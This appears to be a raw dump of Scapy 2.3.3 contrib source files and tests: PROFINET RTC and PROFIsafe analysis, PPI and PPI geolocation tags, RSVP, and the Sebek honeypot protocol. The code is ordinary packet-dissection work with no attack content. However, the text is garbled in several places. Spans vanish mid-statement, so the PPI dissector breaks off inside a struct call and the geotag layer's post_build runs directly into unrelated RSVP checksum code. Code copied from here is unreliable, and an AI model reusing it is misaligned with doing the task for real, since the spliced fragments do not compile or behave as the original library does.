find_data(packets): """Analyse a packet list to extract data offsets from packets data.""" # a dictionnary to count data offsets (ie != 0x80) # It's formatted: {(src, dst): (total, [count for offset in len])} heuristic = {} # Counts possible data locations # 0x80 are mainly IOxS and trailling 0x00s are just padding for pkt in packets: if PNIORealTime in pkt: pdu = bytes(pkt[PNIORealTime])[:-4].rstrip("\0") if (pkt.src, pkt.dst) not in heuristic: heuristic[(pkt.src, pkt.dst)] = (0, []) total, counts = heuristic[(pkt.src, pkt.dst)] if len(counts) < len(pdu): counts.extend([0 for _ in range(len(pdu) - len(counts))]) for i in range(len(pdu)): if pdu[i] != "\x80": counts[i] += 1 comm = (pkt.src, pkt.dst) heuristic[comm] = (total + 1, counts) # Determine data locations locations = {} for comm in heuristic: total, counts = heuristic[comm] length = len(counts) loc = locations[comm] = [] start = None for i in range(length): if counts[i] > total / 2: # Data if more than half is != 0x80 if start is None: start = i else: if start is not None: loc.append(( start - length, PNIORealTimeRawData, {"length": i - start} )) start = None return locations @staticmethod def analyse_profisafe(packets, locations=None): """Analyse a packet list to find possible PROFISafe profils. It's based on an heuristical analysis of each payload to try to find CRC and control/status byte. locations: possible data locations. If not provided, analyse_pn_rt will be called beforehand. If not given, it calls in the same time analyse_data which update the configuration of the data field""" # get data locations and entropy of bytes if not locations: locations = PNIORealTime.find_data(packets) entropies = PNIORealTime.data_entropy(packets, locations) # Try to find at least 3 high entropy successive bytes (the CRC) for comm in entropies: entropy = dict(entropies[comm]) # Convert tuples to key => value for i in range(len(locations[comm])): # update each location with its value after profisafe analysis locations[comm][i] = \ PNIORealTime.analyse_one_profisafe_location( locations[comm][i], entropy ) return locations @staticmethod def analyse_one_profisafe_location(location, entropy): """Analyse one PNIO RTC data location to find if its a PROFISafe :param location: location to analyse, a tuple (start, type, config) :param entropy: the entropy of each byte of the packet data :returns: the configuration associated with the data """ start, klass, conf = location if conf["length"] >= 4: # Minimal PROFISafe length succ_count = 0 for j in range(start, start + conf["length"]): # Limit for a CRC is set to 6 bit of entropy min if j in entropy and entropy[j] >= 6: succ_count += 1 else: succ_count = 0 # PROFISafe profiles must end with at least 3 bytes of high entropy if succ_count >= 3: # Possible profisafe CRC return ( start, Profisafe, {"CRC": succ_count, "length": conf["length"]} ) # Not a PROFISafe profile return (start, klass, conf) @staticmethod def data_entropy(packets, locations=None): """Analyse a packet list to find the entropy of each data byte locations: possible data locations. If not provided, analyse_pn_rt will be called beforehand. If not given, it calls in the same time analyse_data which update the configuration of the data field""" if not locations: locations = PNIORealTime.find_data(packets) # Retrieve the entropy of each data byte, for each communication entropies = {} for comm in locations: if len(locations[comm]) > 0: # Doesn't append empty data entropies[comm] = [] comm_packets = [] # fetch all packets from the communication for pkt in packets: if PNIORealTime in pkt and (pkt.src, pkt.dst) == comm: comm_packets.append( bytes(pkt[PNIORealTime])[:-4].rstrip("\0") ) # Get the entropy for start, dummy, conf in locations[comm]: for i in range(start, start + conf["length"]): entropies[comm].append( (i, entropy_of_byte(comm_packets, i)) ) return entropies @staticmethod def draw_entropy(packets, locations=None): """Plot the entropy of each data byte of PN RT communication""" import matplotlib.pyplot as plt import matplotlib.cm as cm entropies = PNIORealTime.data_entropy(packets, locations) rows = len(entropies) cur_row = 1 for comm in entropies: index = [] vals = [] for i, ent in entropies[comm]: index.append(i) vals.append(ent) # Offsets the indexes to get the index from the beginning offset = -min(index) index = [i + offset for i in index] plt.subplot(rows, 1, cur_row) plt.bar(index, vals, 0.8, color="r") plt.xticks([i + 0.4 for i in index], index) plt.title("Entropy from %s to %s" % comm) cur_row += 1 plt.ylabel("Shannon Entropy") plt.xlabel("Byte offset") # x label only on the last row plt.legend() plt.tight_layout() plt.show() def entropy_of_byte(packets, position): """Compute the entropy of a byte at a given offset""" counter = [0 for _ in range(256)] # Count each byte a appearance for pkt in packets: if -position <= len(pkt): # position must be a negative index counter[ord(pkt[position])] += 1 # Compute the Shannon entropy entropy = 0 length = len(packets) for count in counter: if count > 0: ratio = float(count) / length entropy -= ratio * math.log(ratio, 2) return entropy ############### ## PROFISafe ## ############### class XVarBytesField(XByteField): """Variable length bytes field, from 0 to 8 bytes""" __slots__ = ["length_from"] def __init__(self, name, default, length=None, length_from=None): self.length_from = length_from if length: self.length_from = lambda p, l=length: l Field.__init__(self, name, default, "!Q") def addfield(self, pkt, s, val): length = self.length_from(pkt) return s + struct.pack(self.fmt, self.i2m(pkt, val))[8-length:] def getfield(self, pkt, s): length = self.length_from(pkt) val = struct.unpack(self.fmt, "\x00"*(8 - length) + s[:length])[0] return s[length:], self.m2i(pkt, val) class Profisafe(PNIORealTimeRawData): """PROFISafe profil to be encapsulated inside the PNRT.data list. It's a configurable packet whose config includes a fix length, and a CRC length. The config parameter must then be a dict {"length": X, "CRC": Y}. """ name = "PROFISafe" fields_desc = [ StrFixedLenField("load", "", length_from=lambda p: p[Profisafe].data_length()), XByteField("Control_Status", 0), XVarBytesField("CRC", 0, length_from=lambda p: p[Profisafe].crc_length()) ] def data_length(self): """Return the length of the data""" ret = self.length() - self.crc_length() - 1 return ret def crc_length(self): """Return the length of the crc""" return self._config["CRC"] scapy-2.3.3/scapy/contrib/pnio_rtc.uts000066400000000000000000000110551300136037300177650ustar00rootroot00000000000000% PNIO RTC layer test campaign + Syntax check = Import the PNIO RTC layer from scapy.contrib.pnio import * from scapy.contrib.pnio_rtc import * + Check PNIORealTimeIOxS = PNIORealTimeIOxS default values str(PNIORealTimeIOxS()) == '\x80' = Check no payload is dissected (only padding) * In order for the PNIORealTime to dissect correctly all the data buffer, data field must strictly dissect what they know as being of themselves p = PNIORealTimeIOxS('\x40\x01\x02') p == PNIORealTimeIOxS(dataState='bad', instance='device') / conf.padding_layer('\x01\x02') + Check PNIORealTimeRawData = PNIORealTimeRawData default values str(PNIORealTimeRawData(config={'length': 5})) == '\x00\x00\x00\x00\x00' = PNIORealTimeRawData must always be the same configured length str(PNIORealTimeRawData(load='ABC', config={'length': 5})) == 'ABC\x00\x00' = PNIORealTimeRawData may be truncated str(PNIORealTimeRawData(load='ABCDEF', config={'length': 5})) == 'ABCDE' = Check that the dissected payload is an PNIORealTimeIOxS (IOPS) p = PNIORealTimeRawData('ABCDE\x80\x01\x02', config={'length': 5}) p == PNIORealTimeRawData(load='ABCDE', config={'length': 5}) / PNIORealTimeIOxS() / conf.padding_layer('\x01\x02') = PNIORealTimeRawData is capable of dissected uncomplete packets p = PNIORealTimeRawData('ABC', config={'length': 5}) p == PNIORealTimeRawData(load='ABC', config={'length': 5}) + Check Profisafe = Profisafe default values str(Profisafe(config={'length': 7, 'CRC': 3})) == '\0\0\0\0\0\0\0' = Profisafe must always be the same configured length str(Profisafe(load='AB', config={'length': 7, 'CRC': 3})) == 'AB\0\0\0\0\0' = Profisafe load may be truncated str(Profisafe(load='ABCDEF', config={'length': 7, 'CRC': 3})) == 'ABC\0\0\0\0' = Check that the dissected payload is an PNIORealTimeIOxS (IOPS) p = Profisafe('ABC\x20\x12\x34\x56\x80\x01\x02', config={'length': 7, 'CRC': 3}) p == Profisafe(load='ABC', Control_Status=0x20, CRC=0x123456, config={'length': 7, 'CRC': 3}) / PNIORealTimeIOxS() / conf.padding_layer('\x01\x02') = Profisafe with a CRC-32 str(Profisafe(load='ABC', Control_Status=0x33, CRC=0x12345678, config={'length': 8, 'CRC': 4})) == 'ABC\x33\x12\x34\x56\x78' = Profisafe is capable of dissected uncomplete packets p = Profisafe('AB', config={'length': 7, 'CRC': 3}) p == Profisafe(load='AB', Control_Status=0, CRC=0) + Check PNIORealTime layer = PNIORealTime default values str(PNIORealTime()) == '\0' * 40 + '\0\0\x35\0' = PNIORealTime default values under an UDP packet str(UDP(sport=0x1234) / ProfinetIO(frameID=0x8002) / PNIORealTime()) == '12348892001a00008002'.decode('hex') + '\0' * 12 + '\0\0\x35\0' = PNIORealTime simple packet * a simple data packet with a raw profinet data and its IOPS, an IOCS and a Profisafe data and its IOPS. 15B data length, 1B padding (20 - 15 -4) str(PNIORealTime(len=20, dataLen=15, cycleCounter=0x1234, dataStatus='redundancy+validData+no_problem', transferStatus=3, data=[ PNIORealTimeRawData(load='\x01\x02\x03\x04', config={'length': 5}) / PNIORealTimeIOxS(), PNIORealTimeIOxS(dataState='bad'), Profisafe(load='\x05\x06', Control_Status=0x20, CRC=0x12345678, config={'length': 7, 'CRC': 4}) / PNIORealTimeIOxS() ] )) == '0102030400800005062012345678800012342603'.decode('hex') = PNIORealTime dissects to PNIORealTimeRawData when no config is available p = PNIORealTime('0102030400800005062012345678800012342603'.decode('hex')) p == PNIORealTime(len=20, dataLen=15, cycleCounter=0x1234, dataStatus='redundancy+validData+no_problem', transferStatus=3, padding='\0', data=[ PNIORealTimeRawData(load='010203040080000506201234567880'.decode('hex')) ] ) = PNIORealTime dissection is configurable * Usually, the configuration is not given manually, but using PNIORealTime.analyse_data() on a list of Packets which analyses and updates the configuration pnio_update_config({ ('06:07:08:09:0a:0b', '00:01:02:03:04:05'): [ (-15, PNIORealTimeRawData, {'length': 5}), (-8, Profisafe, {'length': 7, 'CRC': 4}), ] }) p = Ether('000102030405060708090a0b889280020102030400800005062012345678800012342603'.decode('hex')) p == Ether(dst='00:01:02:03:04:05', src='06:07:08:09:0a:0b') / ProfinetIO(frameID=0x8002) / PNIORealTime( len=20, dataLen=15, cycleCounter=0x1234, dataStatus='redundancy+validData+no_problem', transferStatus=3, padding='\0', data=[ PNIORealTimeRawData(load='\x01\x02\x03\x04\0', config={'length': 5}) / PNIORealTimeIOxS(), PNIORealTimeIOxS(dataState='bad'), Profisafe(load='\x05\x06', Control_Status=0x20, CRC=0x12345678, config={'length': 7, 'CRC': 4}) / PNIORealTimeIOxS() ] ) scapy-2.3.3/scapy/contrib/ppi.py000066400000000000000000000060521300136037300165560ustar00rootroot00000000000000## This file is (hopefully) part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## ## This program is published under a GPLv2 license # scapy.contrib.description = PPI # scapy.contrib.status = loads """ PPI (Per-Packet Information). """ import logging,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import Ether from scapy.layers.dot11 import Dot11 # Dictionary to map the TLV type to the class name of a sub-packet _ppi_types = {} def addPPIType(id, value): _ppi_types[id] = value def getPPIType(id, default="default"): return _ppi_types.get(id, _ppi_types.get(default, None)) # Default PPI Field Header class PPIGenericFldHdr(Packet): name = "PPI Field Header" fields_desc = [ LEShortField('pfh_type', 0), FieldLenField('pfh_length', None, length_of="value", fmt='= 4: t,pfh_len = struct.unpack(" pfh_len): out.payload.payload = conf.padding_layer(p[pfh_len:]) elif (len(p) > pfh_len): out.payload = conf.padding_layer(p[pfh_len:]) else: out = conf.raw_layer(p, **kargs) return out class PPI(Packet): name = "PPI Packet Header" fields_desc = [ ByteField('pph_version', 0), ByteField('pph_flags', 0), FieldLenField('pph_len', None, length_of="PPIFieldHeaders", fmt=" ## This program is published under a GPLv2 license # scapy.contrib.description = PPI CACE # scapy.contrib.status = loads """ CACE PPI types """ import logging,struct from scapy.config import conf from scapy.packet import * from scapy.fields import * from scapy.layers.l2 import Ether from scapy.layers.dot11 import Dot11 from scapy.contrib.ppi import * PPI_DOT11COMMON = 2 PPI_DOT11NMAC = 3 PPI_DOT11NMACPHY = 4 PPI_SPECTRUMMAP = 5 PPI_PROCESSINFO = 6 PPI_CAPTUREINFO = 7 PPI_AGGREGATION = 8 PPI_DOT3 = 9 # PPI 802.11 Common Field Header Fields class dBmByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") def i2repr(self, pkt, val): if (val != None): val = "%4d dBm" % val return val class PPITSFTField(LELongField): def i2h(self, pkt, val): flags = 0 if (pkt): flags = pkt.getfieldval("Pkt_Flags") if not flags: flags = 0 if (flags & 0x02): scale = 1e-3 else: scale = 1e-6 tout = scale * float(val) return tout def h2i(self, pkt, val): scale = 1e6 if pkt: flags = pkt.getfieldval("Pkt_Flags") if flags: if (flags & 0x02): scale = 1e3 tout = int((scale * val) + 0.5) return tout _PPIDot11CommonChFlags = ['','','','','Turbo','CCK','OFDM','2GHz','5GHz', 'PassiveOnly','Dynamic CCK-OFDM','GSFK'] _PPIDot11CommonPktFlags = ['FCS','TSFT_ms','FCS_Invalid','PHY_Error'] # PPI 802.11 Common Field Header class Dot11Common(Packet): name = "PPI 802.11-Common" fields_desc = [ LEShortField('pfh_type',PPI_DOT11COMMON), LEShortField('pfh_length', 20), PPITSFTField('TSF_Timer', 0), FlagsField('Pkt_Flags',0, -16, _PPIDot11CommonPktFlags), LEShortField('Rate',0), LEShortField('Ch_Freq',0), FlagsField('Ch_Flags', 0, -16, _PPIDot11CommonChFlags), ByteField('FHSS_Hop',0), ByteField('FHSS_Pat',0), dBmByteField('Antsignal',-128), dBmByteField('Antnoise',-128)] def extract_padding(self, p): return "",p #Hopefully other CACE defined types will be added here. #Add the dot11common layer to the PPI array addPPIType(PPI_DOT11COMMON, Dot11Common) scapy-2.3.3/scapy/contrib/ppi_geotag.py000066400000000000000000000506051300136037300201070ustar00rootroot00000000000000## This file is (hopefully) part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## ## This program is published under a GPLv2 license # scapy.contrib.description = PPI GEOLOCATION # scapy.contrib.status = loads """ PPI-GEOLOCATION tags """ import struct from scapy.packet import * from scapy.fields import * from scapy.contrib.ppi import PPIGenericFldHdr,addPPIType CURR_GEOTAG_VER = 2 #Major revision of specification PPI_GPS = 30002 PPI_VECTOR = 30003 PPI_SENSOR = 30004 PPI_ANTENNA = 30005 #The FixedX_Y Fields are used to store fixed point numbers in a variety of fields in the GEOLOCATION-TAGS specification class Fixed3_6Field(LEIntField): def i2h(self, pkt, x): if x is not None: if (x < 0): warning("Fixed3_6: Internal value too negative: %d" % x) x = 0 elif (x > 999999999): warning("Fixed3_6: Internal value too positive: %d" % x) x = 999999999 x = x * 1e-6 return x def h2i(self, pkt, x): if x is not None: if (x <= -0.5e-6): warning("Fixed3_6: Input value too negative: %.7f" % x) x = 0 elif (x >= 999.9999995): warning("Fixed3_6: Input value too positive: %.7f" % x) x = 999.999999 x = int(round(x * 1e6)) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: #Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%3.6f"%(y) class Fixed3_7Field(LEIntField): def i2h(self, pkt, x): if x is not None: if (x < 0): warning("Fixed3_7: Internal value too negative: %d" % x) x = 0 elif (x > 3600000000): warning("Fixed3_7: Internal value too positive: %d" % x) x = 3600000000 x = (x - 1800000000) * 1e-7 return x def h2i(self, pkt, x): if x is not None: if (x <= -180.00000005): warning("Fixed3_7: Input value too negative: %.8f" % x) x = -180.0 elif (x >= 180.00000005): warning("Fixed3_7: Input value too positive: %.8f" % x) x = 180.0 x = int(round((x + 180.0) * 1e7)) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: #Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%3.7f"%(y) class Fixed6_4Field(LEIntField): def i2h(self, pkt, x): if x is not None: if (x < 0): warning("Fixed6_4: Internal value too negative: %d" % x) x = 0 elif (x > 3600000000): warning("Fixed6_4: Internal value too positive: %d" % x) x = 3600000000 x = (x - 1800000000) * 1e-4 return x def h2i(self, pkt, x): if x is not None: if (x <= -180000.00005): warning("Fixed6_4: Input value too negative: %.5f" % x) x = -180000.0 elif (x >= 180000.00005): warning("Fixed6_4: Input value too positive: %.5f" % x) x = 180000.0 x = int(round((x + 180000.0) * 1e4)) return x def i2m(self, pkt, x): """Convert internal value to machine value""" if x is None: #Try to return zero if undefined x = self.h2i(pkt, 0) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%6.4f"%(y) #The GPS timestamps fractional time counter is stored in a 32-bit unsigned ns counter. #The ept field is as well, class NSCounter_Field(LEIntField): def i2h(self, pkt, x): #converts nano-seconds to seconds for output if x is not None: if (x < 0): warning("NSCounter_Field: Internal value too negative: %d" % x) x = 0 elif (x >= 2**32): warning("NSCounter_Field: Internal value too positive: %d" % x) x = 2**32-1 x = (x / 1e9) return x def h2i(self, pkt, x): #converts input in seconds into nano-seconds for storage if x is not None: if (x < 0): warning("NSCounter_Field: Input value too negative: %.10f" % x) x = 0 elif (x >= (2**32) / 1e9): warning("NSCounter_Field: Input value too positive: %.10f" % x) x = (2**32-1) / 1e9 x = int(round((x * 1e9))) return x def i2repr(self,pkt,x): if x is None: y=0 else: y=self.i2h(pkt,x) return "%1.9f"%(y) class UTCTimeField(IntField): def __init__(self, name, default, epoch=time.gmtime(0), strf="%a, %d %b %Y %H:%M:%S +0000"): IntField.__init__(self, name, default) self.epoch = epoch self.delta = time.mktime(epoch) - time.mktime(time.gmtime(0)) self.strf = strf def i2repr(self, pkt, x): if x is None: x = 0 x = int(x) + self.delta t = time.strftime(self.strf, time.gmtime(x)) return "%s (%d)" % (t, x) class LETimeField(UTCTimeField,LEIntField): __slots__ = ["epoch", "delta", "strf"] def __init__(self, name, default, epoch=time.gmtime(0), strf="%a, %d %b %Y %H:%M:%S +0000"): LEIntField.__init__(self, name, default) self.epoch = epoch self.delta = time.mktime(epoch) - time.mktime(time.gmtime(0)) self.strf = strf class SignedByteField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "b") def randval(self): return RandSByte() class XLEShortField(LEShortField,XShortField): def i2repr(self, pkt, x): return XShortField.i2repr(self, pkt, x) class XLEIntField(LEIntField,XIntField): def i2repr(self, pkt, x): return XIntField.i2repr(self, pkt, x) class GPSTime_Field(LETimeField): def __init__(self, name, default): return LETimeField.__init__(self, name, default, strf="%a, %d %b %Y %H:%M:%S UTC") class VectorFlags_Field(XLEIntField): """Represents te VectorFlags field. Handles the RelativeTo:sub-field""" _fwdstr = "DefinesForward" _resmask = 0xfffffff8 _relmask = 0x6 _relnames = ["RelativeToForward", "RelativeToEarth", "RelativeToCurrent", "RelativeToReserved"] _relvals = [0x00, 0x02, 0x04, 0x06] def i2repr(self, pkt, x): if x is None: return str(x) r = [] if (x & 0x1): r.append(self._fwdstr) i = (x & self._relmask) >> 1 r.append(self._relnames[i]) i = x & self._resmask if (i): r.append("ReservedBits:%08X" % i) sout = "+".join(r) return sout def any2i(self, pkt, x): if type(x) is str: r = x.split("+") y = 0 for value in r: if (value == self._fwdstr): y |= 0x1 elif (value in self._relnames): i = self._relnames.index(value) y &= (~self._relmask) y |= self._relvals[i] else: #logging.warning("Unknown VectorFlags Argument: %s" % value) pass else: y = x #print "any2i: %s --> %s" % (str(x), str(y)) return y class HCSIFlagsField(FlagsField): """ A FlagsField where each bit/flag turns a conditional field on or off. If the value is None when building a packet, i2m() will check the value of every field in self.names. If the field's value is not None, the corresponding flag will be set. """ def i2m(self, pkt, val): if val is None: val = 0 if (pkt): for i, name in enumerate(self.names): name = name[0] value = pkt.getfieldval(name) if value is not None: val |= 1 << i return val class HCSINullField(StrFixedLenField): def __init__(self, name, default): return StrFixedLenField.__init__(self, name, default, length=0) class HCSIDescField(StrFixedLenField): def __init__(self, name, default): return StrFixedLenField.__init__(self, name, default, length=32) class HCSIAppField(StrFixedLenField): def __init__(self, name, default): return StrFixedLenField.__init__(self, name, default, length=60) def _FlagsList(myfields): flags = ["Reserved%02d" % i for i in xrange(32)] for i, value in myfields.iteritems(): flags[i] = value return flags # Define all geolocation-tag flags lists _hcsi_gps_flags = _FlagsList({0:"No Fix Available", 1:"GPS", 2:"Differential GPS", 3:"Pulse Per Second", 4:"Real Time Kinematic", 5:"Float Real Time Kinematic", 6:"Estimated (Dead Reckoning)", 7:"Manual Input", 8:"Simulation"}) #_hcsi_vector_flags = _FlagsList({0:"ForwardFrame", 1:"RotationsAbsoluteXYZ", 5:"OffsetFromGPS_XYZ"}) #This has been replaced with the VectorFlags_Field class, in order to handle the RelativeTo:subfield _hcsi_vector_char_flags = _FlagsList({0:"Antenna", 1:"Direction of Travel", 2:"Front of Vehicle", 3:"Angle of Arrival", 4:"Transmitter Position", 8:"GPS Derived", 9:"INS Derived", 10:"Compass Derived", 11:"Acclerometer Derived", 12:"Human Derived"}) _hcsi_antenna_flags = _FlagsList({ 1:"Horizontal Polarization", 2:"Vertical Polarization", 3:"Circular Polarization Left", 4:"Circular Polarization Right", 16:"Electronically Steerable", 17:"Mechanically Steerable"}) """ HCSI PPI Fields are similar to RadioTap. A mask field called "present" specifies if each field is present. All other fields are conditional. When dissecting a packet, each field is present if "present" has the corresponding bit set. When building a packet, if "present" is None, the mask is set to include every field that does not have a value of None. Otherwise, if the mask field is not None, only the fields specified by "present" will be added to the packet. To build each Packet type, build a list of the fields normally, excluding the present bitmask field. The code will then construct conditional versions of each field and add the present field. See GPS_Fields as an example. """ # Conditional test for all HCSI Fields def _HCSITest(pkt, ibit, name): if pkt.present is None: return (pkt.getfieldval(name) is not None) return pkt.present & ibit # Wrap optional fields in ConditionalField, add HCSIFlagsField def _HCSIBuildFields(fields): names = [f.name for f in fields] cond_fields = [HCSIFlagsField('present', None, -len(names), names)] for i, name in enumerate(names): ibit = 1 << i seval = "lambda pkt:_HCSITest(pkt,%s,'%s')" % (ibit, name) test = eval(seval) cond_fields.append(ConditionalField(fields[i], test)) return cond_fields class HCSIPacket(Packet): name = "PPI HCSI" fields_desc = [ LEShortField('pfh_type', None), LEShortField('pfh_length', None), ByteField('geotag_ver', CURR_GEOTAG_VER), ByteField('geotag_pad', 0), LEShortField('geotag_len', None)] def post_build(self, p, pay): if self.pfh_length is None: l = len(p) - 4 sl = struct.pack('>8)&0xff)+chr(l&0xff)+p[8:] if self.chksum is None: ck = checksum(p) p = p[:2]+chr(ck>>8)+chr(ck&0xff)+p[4:] return p rsvptypes = { 0x01 : "Session", 0x03 : "HOP", 0x04 : "INTEGRITY", 0x05 : "TIME_VALUES", 0x06 : "ERROR_SPEC", 0x07 : "SCOPE", 0x08 : "STYLE", 0x09 : "FLOWSPEC", 0x0A : "FILTER_SPEC", 0x0B : "SENDER_TEMPLATE", 0x0C : "SENDER_TSPEC", 0x0D : "ADSPEC", 0x0E : "POLICY_DATA", 0x0F : "RESV_CONFIRM", 0x10 : "RSVP_LABEL", 0x11 : "HOP_COUNT", 0x12 : "STRICT_SOURCE_ROUTE", 0x13 : "LABEL_REQUEST", 0x14 : "EXPLICIT_ROUTE", 0x15 : "ROUTE_RECORD", 0x16 : "HELLO", 0x17 : "MESSAGE_ID", 0x18 : "MESSAGE_ID_ACK", 0x19 : "MESSAGE_ID_LIST", 0x1E : "DIAGNOSTIC", 0x1F : "ROUTE", 0x20 : "DIAG_RESPONSE", 0x21 : "DIAG_SELECT", 0x22 : "RECOVERY_LABEL", 0x23 : "UPSTREAM_LABEL", 0x24 : "LABEL_SET", 0x25 : "PROTECTION", 0x26 : "PRIMARY PATH ROUTE", 0x2A : "DSBM IP ADDRESS", 0x2B : "SBM_PRIORITY", 0x2C : "DSBM TIMER INTERVALS", 0x2D : "SBM_INFO", 0x32 : "S2L_SUB_LSP", 0x3F : "DETOUR", 0x40 : "CHALLENGE", 0x41 : "DIFF-SERV", 0x42 : "CLASSTYPE", 0x43 : "LSP_REQUIRED_ATTRIBUTES", 0x80 : "NODE_CHAR", 0x81 : "SUGGESTED_LABEL", 0x82 : "ACCEPTABLE_LABEL_SET", 0x83 : "RESTART_CA", 0x84 : "SESSION-OF-INTEREST", 0x85 : "LINK_CAPABILITY", 0x86 : "Capability Object", 0xA1 : "RSVP_HOP_L2", 0xA2 : "LAN_NHOP_L2", 0xA3 : "LAN_NHOP_L3", 0xA4 : "LAN_LOOPBACK", 0xA5 : "TCLASS", 0xC0 : "TUNNEL", 0xC1 : "LSP_TUNNEL_INTERFACE_ID", 0xC2 : "USER_ERROR_SPEC", 0xC3 : "NOTIFY_REQUEST", 0xC4 : "ADMIN-STATUS", 0xC5 : "LSP_ATTRIBUTES", 0xC6 : "ALARM_SPEC", 0xC7 : "ASSOCIATION", 0xC8 : "SECONDARY_EXPLICIT_ROUTE", 0xC9 : "SECONDARY_RECORD_ROUTE", 0xCD : "FAST_REROUTE", 0xCF : "SESSION_ATTRIBUTE", 0xE1 : "DCLASS", 0xE2 : "PACKETCABLE EXTENSIONS", 0xE3 : "ATM_SERVICECLASS", 0xE4 : "CALL_OPS (ASON)", 0xE5 : "GENERALIZED_UNI", 0xE6 : "CALL_ID", 0xE7 : "3GPP2_Object", 0xE8 : "EXCLUDE_ROUTE" } class RSVP_Object(Packet): name = "RSVP_Object" fields_desc = [ ShortField("Length",4), ByteEnumField("Class",0x01, rsvptypes), ByteField("C-Type",1)] def guess_payload_class(self, payload): if self.Class == 0x03: return RSVP_HOP elif self.Class == 0x05: return RSVP_Time elif self.Class == 0x0c: return RSVP_SenderTSPEC elif self.Class == 0x13: return RSVP_LabelReq elif self.Class == 0xCF: return RSVP_SessionAttrb else: return RSVP_Data class RSVP_Data(Packet): name = "Data" fields_desc = [StrLenField("Data","",length_from= lambda pkt:pkt.underlayer.Length - 4)] def default_payload_class(self, payload): return RSVP_Object class RSVP_HOP(Packet): name = "HOP" fields_desc = [ IPField("neighbor","0.0.0.0"), BitField("inface",1,32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_Time(Packet): name = "Time Val" fields_desc = [ BitField("refresh",1,32)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SenderTSPEC(Packet): name = "Sender_TSPEC" fields_desc = [ ByteField("Msg_Format",0), ByteField("reserve",0), ShortField("Data_Length",4), ByteField("Srv_hdr",1), ByteField("reserve2",0), ShortField("Srv_Length",4), StrLenField("Tokens","",length_from= lambda pkt:pkt.underlayer.Length - 12) ] def default_payload_class(self, payload): return RSVP_Object class RSVP_LabelReq(Packet): name = "Lable Req" fields_desc = [ ShortField("reserve",1), ShortField("L3PID",1)] def default_payload_class(self, payload): return RSVP_Object class RSVP_SessionAttrb(Packet): name = "Session_Attribute" fields_desc = [ ByteField("Setup_priority",1), ByteField("Hold_priority",1), ByteField("flags",1), ByteField("Name_length",1), StrLenField("Name","",length_from= lambda pkt:pkt.underlayer.Length - 8), ] def default_payload_class(self, payload): return RSVP_Object bind_layers( IP, RSVP, { "proto" : 46} ) bind_layers( RSVP, RSVP_Object, {}) scapy-2.3.3/scapy/contrib/sebek.py000066400000000000000000000110741300136037300170570ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Sebek: kernel module for data collection on honeypots. """ # scapy.contrib.description = Sebek # scapy.contrib.status = loads from scapy.fields import * from scapy.packet import * from scapy.layers.inet import UDP ### SEBEK class SebekHead(Packet): name = "Sebek header" fields_desc = [ XIntField("magic", 0xd0d0d0), ShortField("version", 1), ShortEnumField("type", 0, {"read":0, "write":1, "socket":2, "open":3}), IntField("counter", 0), IntField("time_sec", 0), IntField("time_usec", 0) ] def mysummary(self): return self.sprintf("Sebek Header v%SebekHead.version% %SebekHead.type%") # we need this because Sebek headers differ between v1 and v3, and # between v3 type socket and v3 others class SebekV1(Packet): name = "Sebek v1" fields_desc = [ IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), StrFixedLenField("cmd", "", 12), FieldLenField("data_length", None, "data",fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v1 %SebekHead.type% (%SebekV1.cmd%)") else: return self.sprintf("Sebek v1 (%SebekV1.cmd%)") class SebekV3(Packet): name = "Sebek v3" fields_desc = [ IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("cmd", "", 12), FieldLenField("data_length", None, "data",fmt="I"), StrLenField("data", "", length_from=lambda x:x.data_length) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3.cmd%)") else: return self.sprintf("Sebek v3 (%SebekV3.cmd%)") class SebekV2(SebekV3): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2.cmd%)") else: return self.sprintf("Sebek v2 (%SebekV2.cmd%)") class SebekV3Sock(Packet): name = "Sebek v2 socket" fields_desc = [ IntField("parent_pid", 0), IntField("pid", 0), IntField("uid", 0), IntField("fd", 0), IntField("inode", 0), StrFixedLenField("cmd", "", 12), IntField("data_length", 15), IPField("dip", "127.0.0.1"), ShortField("dport", 0), IPField("sip", "127.0.0.1"), ShortField("sport", 0), ShortEnumField("call", 0, { "bind":2, "connect":3, "listen":4, "accept":5, "sendmsg":16, "recvmsg":17, "sendto":11, "recvfrom":12}), ByteEnumField("proto", 0, IP_PROTOS) ] def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV3Sock.cmd%)") else: return self.sprintf("Sebek v3 socket (%SebekV3Sock.cmd%)") class SebekV2Sock(SebekV3Sock): def mysummary(self): if isinstance(self.underlayer, SebekHead): return self.underlayer.sprintf("Sebek v%SebekHead.version% %SebekHead.type% (%SebekV2Sock.cmd%)") else: return self.sprintf("Sebek v2 socket (%SebekV2Sock.cmd%)") bind_layers( UDP, SebekHead, sport=1101) bind_layers( UDP, SebekHead, dport=1101) bind_layers( UDP, SebekHead, dport=1101, sport=1101) bind_layers( SebekHead, SebekV1, version=1) bind_layers( SebekHead, SebekV2Sock, version=2, type=2) bind_layers( SebekHead, SebekV2, version=2) bind_layers( SebekHead, SebekV3Sock, version=3, type=2) bind_layers( SebekHead, SebekV3, version=3) 